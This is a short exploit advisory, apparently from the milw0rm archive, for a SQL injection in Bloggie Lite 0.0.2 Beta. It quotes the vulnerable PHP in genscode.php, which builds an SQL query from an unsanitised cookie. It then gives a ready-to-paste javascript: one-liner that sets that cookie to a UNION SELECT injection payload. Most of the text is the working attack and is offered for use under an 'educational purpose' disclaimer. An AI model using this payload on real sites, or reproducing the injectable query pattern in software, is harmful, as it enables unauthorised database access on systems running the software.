Bloggie Lite 0.0.2 Beta - Insecure Cookie Handling / SQL Injection

# Bloggie Lite 0.0.2 Beta SQl Injection by Insecure Cookie Handling
# url: http://mywebland.com/download.php?id=20
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /genscode.php
vuln code:
39: $user_ip = $_SERVER['REMOTE_ADDR'];
    define('COMMENT_COOKIE', md5($user_ip));
    if(isset($_COOKIE[COMMENT_COOKIE])) {
xx: ...
    $comment_cookie = $_COOKIE[COMMENT_COOKIE];
55: $sql = "SELECT * FROM ".SCODE_TBL." WHERE cookie = '".$comment_cookie."'";

exploit:
javascript:document.cookie = "f528764d624db129b32c21fbca0cb8d6=127.0.0.1'+union+all+select+user(),user(),user()/*; path=/";

Hack0wn :D

# milw0rm.com [2008-11-01]